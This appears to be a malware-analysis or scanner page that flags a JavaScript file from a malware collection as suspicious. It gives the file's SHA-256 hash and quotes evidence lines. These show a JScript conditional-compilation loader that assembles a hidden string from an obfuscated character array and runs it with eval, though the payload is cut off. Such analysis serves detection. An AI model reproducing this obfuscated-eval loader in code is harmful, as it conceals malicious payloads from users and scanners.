Suspicious ^80% javascript-malware-collection Download

20161005_215af0600f6aa8da618464d209982e81.js

obfuscated eval payload

Dense gp token arrayCharacter array using comma tuples

SHA-2562bd1657865aa8705bc6d87d2f51c02d1684b6b8599ab45577fad201da24b9cab

Evidence

Dense gp token array lines 1–8

1
2/*@cc_on
3var vk = "";
4var tw0 = 0;
5
6asdffda();
7var us,kw,rt,vy,do0,ea,dl,fs,ab,pz,rp,ap,uy,dn,lp,uz,wn,ic,ni,nq,hv,cy,wo,ns0,tw,kp,xj,ef,qn,ez,ks,rw,hn,hj,yv,rr,eu,zd0,pq,uv,gi,fc,tv,ph,sw,wg,rs,mn,sy,pm,ns,ki,yq,br,db,vx,jn,jr,uf,xl,ju,vb,ui,ba,sp,er,zd,xi,es,ng,ix,dr,lz,ed,dw,ga,kp0,hb,mf,rv,ex,wb,bv,ko,ja,ai,bd,df,mo;
8var wv = [("x", ba),("x", ix),("x", er),("x", hj),("x", dn),("x", ex),("x", eu),("x", er),("x", uv),("x", rv),("x", rw),("x", hn),("x", wn),("x", us),("x", uv),("x", uv),("x", uv),("x", uv),("x", xi),("x", mf),("x", zd),("x", uv),("x", ko),("x", rp),("x", zd0),("x", ex),("x", mo),("x", ix),("x", pz),("x", yv),("x", ba),("x", ix),("x", zd0),("x", dn),("x", pz),("x", yv),("x", uv),("x", vx),("x", uv),("x", qn),("x", ez),("x", xj),("x", qn),("x", hv),("x", qn),("x", qn),("x", hv),("x", qn),("x", hj),("x", qn),("x", hv),("x", qn),("x", zd),("x", qn),("x", hv),("x", qn),("x", ex),("x", qn),("x", hv),("x", qn),("x", uy),("x", dn),("x", qn …

Variable initialized from string sequence lines 8–39

8:171263… p),("x", br),("x", kw),("x", us),("x", kw),("x", us)];
9do
10{
11    vk = vk["conca"+"t"](wv[tw0]);
12} while (++tw0 <= (wv["lengt"+"h"]-1));
13eval(vk);
14@*/
15function asdffda()
16{
17us=('b', '\x0a');
18kw=('b', '\x0d');
19rt=('b', 'D');
20vy=('b', 'H');
21do0=('b', 'L');
22ea=('b', 'P');
23dl=('b', 'T');
24fs=('b', 'X');
25ab=('b', '\x09');
26pz=('b', 'd');
⋯13 lines